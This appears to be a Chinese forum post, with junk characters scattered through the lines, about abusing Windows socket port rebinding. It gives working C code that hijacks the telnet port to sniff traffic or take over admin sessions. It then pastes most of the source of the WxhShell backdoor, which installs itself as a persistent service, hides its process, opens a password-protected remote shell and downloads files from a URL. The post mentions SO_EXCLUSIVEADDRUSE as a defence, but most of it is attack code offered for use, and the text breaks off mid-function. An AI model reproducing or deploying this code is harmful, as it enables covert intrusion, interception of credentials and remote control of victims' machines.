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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @a-u_|3q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,ab_u@  
QcQQQM  
  saddr.sin_family = AF_INET; !-%fCg(B  
eS)2#=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZslH2#   
`q =e<$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y.,S}7l:  
'](4g/%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z9P rw/8P  
}?[^q  
  这意味着什么?意味着可以进行如下的攻击: b^ wWg  
6G2s^P1Dl@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ip c2Qsa  
/tIR}qK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nADt8  
~q0g7?}&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '2)c;/-E  
&"X6s%ZH|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fzcPi9+  
UrAg*v!Qy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V.<$c1#=$  
>JdA,i}1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >6 p <n  
C-25\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )gM3,gSS  
WKVoqp}  
  #include ;/tZsE{  
  #include Qdepzo>E  
  #include /P_1vQq  
  #include    dzA5l:5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5vxKkk&i4l  
  int main() !%w#h0(b  
  { H<tk/\C  
  WORD wVersionRequested; \=n0@1Q=>  
  DWORD ret; !r=^aa(\  
  WSADATA wsaData; /WIO@c  
  BOOL val; Z)iRc$;  
  SOCKADDR_IN saddr; s=)0y$  
  SOCKADDR_IN scaddr; do3 BI4Q  
  int err; [h"#Gwb=;  
  SOCKET s; ;=rMIi  
  SOCKET sc; [>`[1;aX  
  int caddsize; #Bo/1G=  
  HANDLE mt; lo}[o0X  
  DWORD tid;   m3|KIUP  
  wVersionRequested = MAKEWORD( 2, 2 ); %y@iA91K  
  err = WSAStartup( wVersionRequested, &wsaData ); @\~qXz{6J  
  if ( err != 0 ) { 44s K2  
  printf("error!WSAStartup failed!\n");  ]J= S\  
  return -1; WW.\5kBl8  
  } F[aow$",+}  
  saddr.sin_family = AF_INET; >)Ih[0~M  
   >z=_V|^$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o;#{N~4[$  
W@S'mxk#*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @ mzf(Aq  
  saddr.sin_port = htons(23); .3;bUJ1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @G/':N   
  { $}[Tj0+:  
  printf("error!socket failed!\n"); P1P P#>E-2  
  return -1; %}z/_QZ  
  } xP@VK!sc  
  val = TRUE; ` eB-C//  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v\9:G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mwuFXu/  
  { )9,*s !)9  
  printf("error!setsockopt failed!\n"); +B*8$^,V)  
  return -1; >$.u|a  
  } Q@3.0Hf|{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wu*WA;FnA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Kuh! b`9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  ]Ll <  
Q]*YIb~D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0Sz&Oguv  
  { +uPN+CgQ@  
  ret=GetLastError(); -KRHcr \  
  printf("error!bind failed!\n"); @5gZK[?|I  
  return -1; r#{r]q_E*  
  } tVx.J'"Y  
  listen(s,2); >K`.!!av,Y  
  while(1) M mg#Vy~  
  { D\Y)E#%,  
  caddsize = sizeof(scaddr); !$q1m@K1  
  //接受连接请求 ?Y"bt^4j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d}f| HOFq  
  if(sc!=INVALID_SOCKET) ]{9oB-;,  
  { `Tzq vnn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vOYcS$,^X%  
  if(mt==NULL) .js4)$W^  
  { '-#6;_ i<  
  printf("Thread Creat Failed!\n"); +n(H"I7cU  
  break; }?P~qJ|1  
  } t\2myR3  
  } }@'xEx  
  CloseHandle(mt); PN:8H>  
  } /p,D01Ws}(  
  closesocket(s); [5%/{W,~m  
  WSACleanup(); hp(n;(OR  
  return 0; {d$S~  
  }   X.0/F6U  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,8( %J3J  
  { !DnG)4#  
  SOCKET ss = (SOCKET)lpParam; KmV>tn BQ  
  SOCKET sc; - Pz )O@ ;  
  unsigned char buf[4096]; ^_<>o[qE  
  SOCKADDR_IN saddr; XA])<dZ  
  long num; 3&*0n^g  
  DWORD val; rL URP2~  
  DWORD ret; S&-sl   
  //如果是隐藏端口应用的话,可以在此处加一些判断 hoC}@8_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .Jdw:  
  saddr.sin_family = AF_INET; ?Di, '  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^a`zvrE v  
  saddr.sin_port = htons(23); Xi5kE'_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /3%]Ggwe  
  { /2u;w !oi.  
  printf("error!socket failed!\n"); ilK8V4k<T)  
  return -1; |PN-,f{-  
  } "sFdrXJ  
  val = 100; Coq0Kzhsab  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2W pe( \(  
  { EpGe'S  
  ret = GetLastError(); [[D}vL8d  
  return -1; :0T]p"y4  
  } ?HIc=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,|I\{J #C  
  { We#*.nr{3Z  
  ret = GetLastError(); ^J>28Q\S  
  return -1; ~E^EF{h   
  } !U`T;\,v5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p)ZlQ.d#Y  
  { mUy/lo'4  
  printf("error!socket connect failed!\n"); Ao96[2U6  
  closesocket(sc); jn\\,n"6  
  closesocket(ss); IJ, ,aCj4g  
  return -1; VhSKtD1  
  } zi>f436-  
  while(1) ~s^&*KaA  
  { [ur/`   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z-4A`@p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NtTLvO6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l O, 2  
  num = recv(ss,buf,4096,0); Cw{#(xX  
  if(num>0) %o4d4 3uZ  
  send(sc,buf,num,0); *ep!gT*4  
  else if(num==0) Tf@t.4\  
  break; Q\=u2}/z0  
  num = recv(sc,buf,4096,0); cD s#5,  
  if(num>0) SATZ!  
  send(ss,buf,num,0); 8gC(N3/E"  
  else if(num==0) MPzqw)_-v  
  break; ZuS+p0H"  
  } 2L<TqC{,-  
  closesocket(ss); hQGZrZK#  
  closesocket(sc); P >N\q  
  return 0 ; {OAy@6 +  
  } uFdSD  
!W$Br\<  
62(WZX%b  
========================================================== |P?8<8p  
HTqikw5X  
下边附上一个代码,,WXhSHELL ?7&VT1  
WgPL4D9=  
========================================================== 5RLK]=  
Wq{'ZN  
#include "stdafx.h" 0[3b,  
==FzkRA)  
#include <stdio.h> X_!mZ\H7  
#include <string.h> 30H:x@='9  
#include <windows.h> %\b5)p  
#include <winsock2.h> +}+hTY$a  
#include <winsvc.h> WZ&#O#(eO`  
#include <urlmon.h> T)C  
Fah}#,  
#pragma comment (lib, "Ws2_32.lib") 5 #kvb$97  
#pragma comment (lib, "urlmon.lib") !d(!1fC  
-nk%He  
#define MAX_USER   100 // 最大客户端连接数 tb=L+WAIw  
#define BUF_SOCK   200 // sock buffer J"83S*2(j  
#define KEY_BUFF   255 // 输入 buffer 0_]aF8j  
0)2lBfHQ&  
#define REBOOT     0   // 重启 },Z -w_H  
#define SHUTDOWN   1   // 关机 BK /;H G  
df J7Dhn  
#define DEF_PORT   5000 // 监听端口 Ej34^*m9k  
gwqK`ww  
#define REG_LEN     16   // 注册表键长度 +mxYz#reX  
#define SVC_LEN     80   // NT服务名长度 Y#t"..mc'  
=kc{Q@Dk  
// 从dll定义API t3s}U@(C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $!vi:+ED  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Og*1pvN<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VR:b1XWX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _ SFD}w3b$  
g<lX Xj2  
// wxhshell配置信息 v<c Hx/  
struct WSCFG { 0~S<}N  
  int ws_port;         // 监听端口 >y8Z{ALQ5  
  char ws_passstr[REG_LEN]; // 口令 3o^V$N.  
  int ws_autoins;       // 安装标记, 1=yes 0=no 57MoO  
  char ws_regname[REG_LEN]; // 注册表键名 ?=4t~\g?  
  char ws_svcname[REG_LEN]; // 服务名 &YMVoyVD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kXjpCtCu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G/ ^|oJ/G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AMm O+E?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #&5\1Qu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x)U;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (CV=0{]  
R;.WOies4  
}; -"nYCF  
G7=8*@q>:  
// default Wxhshell configuration a #0{tZd  
struct WSCFG wscfg={DEF_PORT, 7r;A wa  
    "xuhuanlingzhe", '{u#:TTj  
    1, kg@J.   
    "Wxhshell", O71rLk;  
    "Wxhshell", T6,lk1S'=  
            "WxhShell Service", 0ND7F  
    "Wrsky Windows CmdShell Service", O0l;Qi  
    "Please Input Your Password: ", ixH7oWH#  
  1, K*}j1A  
  "http://www.wrsky.com/wxhshell.exe", "nefRz%j+  
  "Wxhshell.exe" *Xnq1_K}  
    }; ?-Z:N`YP  
KWH  
// 消息定义模块 Arv8P P^'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !'MD8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nc{ <v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MtB:H*pM  
char *msg_ws_ext="\n\rExit."; _ o(h]G1].  
char *msg_ws_end="\n\rQuit."; #P@r[VZ{6  
char *msg_ws_boot="\n\rReboot..."; {p\KB!Y-  
char *msg_ws_poff="\n\rShutdown..."; 24Tw1'mW  
char *msg_ws_down="\n\rSave to "; 18HHEW{  
u'b_zlW@  
char *msg_ws_err="\n\rErr!"; +~v(*s C  
char *msg_ws_ok="\n\rOK!"; w#$k$T)  
J|q_&MX/  
char ExeFile[MAX_PATH]; ~S6N'$^  
int nUser = 0; CYu8J@(\~g  
HANDLE handles[MAX_USER]; eC39C2q\  
int OsIsNt; =+L>^w#6=  
R{B~Now3  
SERVICE_STATUS       serviceStatus; 8UcT? Zp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {ULnQ 6@  
Fo=6A[J  
// 函数声明 ]z%9Q8q'  
int Install(void); 1mV0AE538  
int Uninstall(void); X[ (J!"+  
int DownloadFile(char *sURL, SOCKET wsh); ]]ZBG<#  
int Boot(int flag); :F\f}G3  
void HideProc(void); E;Hjw0M'k  
int GetOsVer(void); <coCu0  
int Wxhshell(SOCKET wsl); jdp:G  
void TalkWithClient(void *cs); w6Q]?p+  
int CmdShell(SOCKET sock); )1,&YJM*6l  
int StartFromService(void); cOgtBEhn  
int StartWxhshell(LPSTR lpCmdLine); lTP02|eK  
Ei<:=6EX?8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *S4P'JSY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @ $R a  
;$Jvqq|T  
// 数据结构和表定义 q}i87a;m  
SERVICE_TABLE_ENTRY DispatchTable[] = y^rg%RV  
{ !/zj7z !  
{wscfg.ws_svcname, NTServiceMain},  B" z5j  
{NULL, NULL} Uy:.m  
}; }+J@;:  
g < o;\\  
// 自我安装 .#J3UZ  
int Install(void) co80M;4  
{ YLo$n  
  char svExeFile[MAX_PATH]; M[{:o/]<  
  HKEY key; Y5CE#&  
  strcpy(svExeFile,ExeFile); '1 $({{R  
J;`~ !g  
// 如果是win9x系统,修改注册表设为自启动 A{%;Hd`0/  
if(!OsIsNt) { U8KY/!XZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [  _$$P*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e8 aV qq[  
  RegCloseKey(key); SI9hS4<j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3lN+fQ>)S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gp+XM  
  RegCloseKey(key); U;@jl?jnG  
  return 0; W|e>  
    } ($W 5fbu  
  } c,wU?8Nc|$  
} /f<(K-o]  
else { Qg!*=<b  
zY+Et.lg]^  
// 如果是NT以上系统,安装为系统服务 ]Dg0@Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bn35f<+  
if (schSCManager!=0) O;BPd:<  
{ sD +G+  
  SC_HANDLE schService = CreateService E=NY{| >  
  ( y9hZ2iT  
  schSCManager, w#,v n8  
  wscfg.ws_svcname, )}!'VIe^!  
  wscfg.ws_svcdisp, T7~v40jn|  
  SERVICE_ALL_ACCESS, AUde_ 1hi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G |^X:+  
  SERVICE_AUTO_START, |GQ$UB  
  SERVICE_ERROR_NORMAL, \k_3IP?o=  
  svExeFile, !ei20@  
  NULL, 4?& a?*M  
  NULL, M3 u8NRd5|  
  NULL, 5I,X#}K[  
  NULL, ew$Z5N:  
  NULL AHY)#|/)  
  ); q?4uH;h:^G  
  if (schService!=0) h';v'"DoW`  
  { qu+2..3  
  CloseServiceHandle(schService); i%8&g2  
  CloseServiceHandle(schSCManager); J9.p8A^^2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &X,)+ b=  
  strcat(svExeFile,wscfg.ws_svcname); ueBoSZRWX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {~g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .G~5F- 8'  
  RegCloseKey(key); SVh4)}.x  
  return 0; kw ^ Sbxm  
    } l:yAgm`  
  } N|2  
  CloseServiceHandle(schSCManager); RpP[ymMZJ  
} L"6/"L  
} &"%|`gE  
4(GgaQFO?  
return 1; RyWOiQk;  
} +STzG /9#  
d|+jCTKS  
// 自我卸载 vcU\xk")  
int Uninstall(void) q.[[ c  
{ aB6LAb2z;T  
  HKEY key; 6_K#,_oZ  
PVc|y.  
if(!OsIsNt) { .hNw1~Fj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S{7ik,Gdg  
  RegDeleteValue(key,wscfg.ws_regname); jI<WzvhYG  
  RegCloseKey(key); aq/Y}s?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #n)W  
  RegDeleteValue(key,wscfg.ws_regname); 6ilC#yyp  
  RegCloseKey(key); A""*vqA  
  return 0; L9?/ -@M  
  } V^/^OR4k  
} p<fgUVR  
} <O)X89dFM  
else { YkAWKCOni  
,W8Iabi^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xp8f  
if (schSCManager!=0) "M0l;  
{ SJc@iffS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lrX0c$)  
  if (schService!=0) @&xaaqQ-  
  { }cK~=@7tK  
  if(DeleteService(schService)!=0) { o``>sBZOq  
  CloseServiceHandle(schService); 6 %k+0\d  
  CloseServiceHandle(schSCManager); ;(0$~O$3u  
  return 0; S}Y|s]6  
  } n ,:.]3v%  
  CloseServiceHandle(schService); #Q7x:,f  
  } pH l2!{z  
  CloseServiceHandle(schSCManager); 6?.pKFB Z  
} /j69NEl  
} .A!0.M|  
 ; zE5(3x  
return 1; qM!f   
} z>p`!-'ID  
[H:GKhPC`  
// 从指定url下载文件 dGD^op,6g  
int DownloadFile(char *sURL, SOCKET wsh) R~5* #r@f  
{ x gT~b9  
  HRESULT hr; (p.3'j(  
char seps[]= "/"; 3AQ>>)T~  
char *token; PSf5p\<5  
char *file; 5+/b$mHZX  
char myURL[MAX_PATH]; 'uf\.F  
char myFILE[MAX_PATH]; MjXE|3&  
=Wk/q_.  
strcpy(myURL,sURL); W6Aj<{\F  
  token=strtok(myURL,seps); 7}cDGdr  
  while(token!=NULL) 7Cd_zZ  
  { c6Aut`dK  
    file=token; G>w?9:V}  
  token=strtok(NULL,seps); #;"D)C  
  } \9(- /rE  
d=Df.H+3  
GetCurrentDirectory(MAX_PATH,myFILE); 24jtJC,7  
strcat(myFILE, "\\"); !H1tBg]5  
strcat(myFILE, file); M9s43XL(&  
  send(wsh,myFILE,strlen(myFILE),0); BF@5&>E  
send(wsh,"...",3,0); ]C ~1]7vb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7{An@hNh  
  if(hr==S_OK) :`Uyn!w  
return 0; .-KtB(t  
else x* =sRf  
return 1; =%3b@}%HqS  
GT'7,+<?N  
} h^A3 0f_x  
/j' B\,  
// 系统电源模块 x9)aBB  
int Boot(int flag) *j /S4qG  
{ Zgg'9E  
  HANDLE hToken; Z%+BWS3YqY  
  TOKEN_PRIVILEGES tkp; 2sqm7th  
1 @%B?  
  if(OsIsNt) { &v$,pg%-:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ss`P QN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &@% b?~  
    tkp.PrivilegeCount = 1; +%Lt".o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @q&|MMLt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )_77>f%  
if(flag==REBOOT) { e2k4[V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bR`rT4.F  
  return 0; L\}Pzxn  
} iUIy,Y  
else { Xb]=:x(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l]_b;iux  
  return 0; IX<r5!  
} ?C &x/2lt  
  } OGJ=VQA  
  else { <t{?7_ 8  
if(flag==REBOOT) { ge0's+E+1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'ySljo*It  
  return 0; Q !9HA[Ly  
} I?a8h`WS+  
else { P_p6GT:5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L 42|>%uo  
  return 0; FXx.$W  
} {~"7vkc+  
} )n7|?@5U  
'h-3V8m^e  
return 1; fokwW}>B[f  
} x*.Ye 5Jb  
aSOU#Csx  
// win9x进程隐藏模块 \\ jIl3Z  
void HideProc(void) iQt!PMF.  
{ 9~@<-6jE3b  
M h`CP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *FV0Vy  
  if ( hKernel != NULL ) #gh p/YoTq  
  { BlXX:aZv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Lf >YdD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); coDj L.u  
    FreeLibrary(hKernel); cDCJ]iDs  
  } 3bWum  
Oqpp=7  
return; n`]l^qE  
} D7)(D4S4  
wGPotPdE2  
// 获取操作系统版本 #wr2imG6  
int GetOsVer(void) mA& =q_gS  
{ < CDA"  
  OSVERSIONINFO winfo; X E 9)c   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (@ "=F6P  
  GetVersionEx(&winfo); MRQZIi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Vu}806kB  
  return 1; [*Q-nZ/L  
  else [4p=X=B  
  return 0; dY8(nQG  
} ?cJY B)  
'Q5&5UrBr  
// 客户端句柄模块 Y)|~:& tZ  
int Wxhshell(SOCKET wsl) 8Jr1_a  
{ R*087X7 N|  
  SOCKET wsh; lzEb5mg  
  struct sockaddr_in client; sTkIR5Z  
  DWORD myID; G]4OFz+  
wxj>W[V  
  while(nUser<MAX_USER) > @+#  
{ m%pBXXfGYj  
  int nSize=sizeof(client); \m f*ge\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3YW=||;|Yg  
  if(wsh==INVALID_SOCKET) return 1; BEWro|]cM  
[ByQ;s5tY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1Y#HcW&  
if(handles[nUser]==0) 8V-,Xig;`  
  closesocket(wsh); {b1UX9y  
else ,t1vb3  
  nUser++; }p=g*Zo*C;  
  } aVwH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 77*qkKr  
"mOI!x f@a  
  return 0; r,4lqar;E  
} nLj&Uf&  
L]I3P|y_  
// 关闭 socket o-z &7@3Hu  
void CloseIt(SOCKET wsh) 3;-^YG  
{ f"Vgefk  
closesocket(wsh); L,?/'!xV  
nUser--; P]Xbjs<p  
ExitThread(0); 'tm$q /&  
} XKqK<!F  
` H XEZ|  
// 客户端请求句柄 *P!s{i  
void TalkWithClient(void *cs) C#;@y|Rw  
{ f@@s1gdb  
L\e>B>u  
  SOCKET wsh=(SOCKET)cs; EB!daZH,  
  char pwd[SVC_LEN]; .et ^4V3  
  char cmd[KEY_BUFF]; )DT|(^  
char chr[1]; DI1(`y  
int i,j; 26L~X[F  
3F+Jdr'  
  while (nUser < MAX_USER) { zE|Wn3_sd  
,O]l~)sr|  
if(wscfg.ws_passstr) { ]6&$|2H?Ni  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); inAAgW#s}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _<zfQZai  
  //ZeroMemory(pwd,KEY_BUFF); c0ez/q1S  
      i=0; I :)W*SK  
  while(i<SVC_LEN) { (UYF%MA}"  
33K*qaRAD  
  // 设置超时 )R?;M  
  fd_set FdRead; !MVj=(  
  struct timeval TimeOut; 9o0!m Cq  
  FD_ZERO(&FdRead); |0.Xl+7  
  FD_SET(wsh,&FdRead); 347eis'  
  TimeOut.tv_sec=8; "e6|"w@8  
  TimeOut.tv_usec=0; lA^+Flh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); syPWs57pH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); * R d#{Io7  
`/nM[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `t (D!  
  pwd=chr[0]; %gd(wzco  
  if(chr[0]==0xd || chr[0]==0xa) { X!tf#tl  
  pwd=0; "i&"* ~  
  break; k?6z_vu  
  } nSx]QREL!  
  i++; g{:<2xI5P  
    } yx>_scv,T  
ycAKK?O*  
  // 如果是非法用户,关闭 socket a9U_ug58  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )92r{%N  
} o[1ylzk}+  
8K"+,s(%R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~9\zWRh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r0]4=6U  
q| .dez'  
while(1) { }{[mrG   
7KjUW\mN2Z  
  ZeroMemory(cmd,KEY_BUFF); hBU\'.x  
> \Sr{p5KR  
      // 自动支持客户端 telnet标准   0N:XIGFa  
  j=0; ]; Wx  
  while(j<KEY_BUFF) { '%saL>0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x@>&IBiL  
  cmd[j]=chr[0];  n_nl{  
  if(chr[0]==0xa || chr[0]==0xd) { 5n lMrK  
  cmd[j]=0; X"aEJ|y  
  break; MXD4|r(  
  } @b#^ -  
  j++; k1 -~  
    } ++-{]wB3=.  
 #^#HuDH  
  // 下载文件 ^dm!)4W  
  if(strstr(cmd,"http://")) { qk/:A+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %G3(,Qz  
  if(DownloadFile(cmd,wsh)) je/!{(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O,@~L$a:YZ  
  else I=DxRgt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7q =G&e7  
  } |JF@6  
  else { e8=YGx^o`  
R&f^+0%f  
    switch(cmd[0]) { M~Ttb29{  
  Cq)IayD@  
  // 帮助 "&.S&=FlI  
  case '?': { 9=X)ung9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LE6.nmvS  
    break; ^' M>r (t  
  } q`NXJf=sc  
  // 安装 *f%>YxF  
  case 'i': { txgQ"MGA%  
    if(Install()) aGZi9O7G}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3r+.N  
    else nC1zzFFJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y?J"wdWJNB  
    break; /4\wn?f  
    } 7R4z}2F2  
  // 卸载 7nq3S  
  case 'r': { <S75($  
    if(Uninstall()) ikD1N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8T)&`dM6P~  
    else T:]L/wCj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BQH}6ueZ  
    break; !TM*o+;  
    } =3ioQZ^Vz  
  // 显示 wxhshell 所在路径 _5 ^I.5Z3  
  case 'p': { %V9ZyQg%*  
    char svExeFile[MAX_PATH]; <_Z:'~Zp  
    strcpy(svExeFile,"\n\r"); 7Z ;?b0W  
      strcat(svExeFile,ExeFile); ) rW&c- '  
        send(wsh,svExeFile,strlen(svExeFile),0); :r#)z4d5  
    break; azQD>  
    } 0|&\'{  
  // 重启 8lF\v/vN  
  case 'b': { 1NQbl+w#I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lKWPTCU  
    if(Boot(REBOOT)) FTc.]laO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mrIh0B:`  
    else { 7\]E~/g  
    closesocket(wsh); zmj"fN{\  
    ExitThread(0); t\P<X^d%  
    } *Xo]-cKL0  
    break; (+uj1z^  
    } P 3MhU;  
  // 关机 ~lNsa".c  
  case 'd': { 0:0NXVYs&  
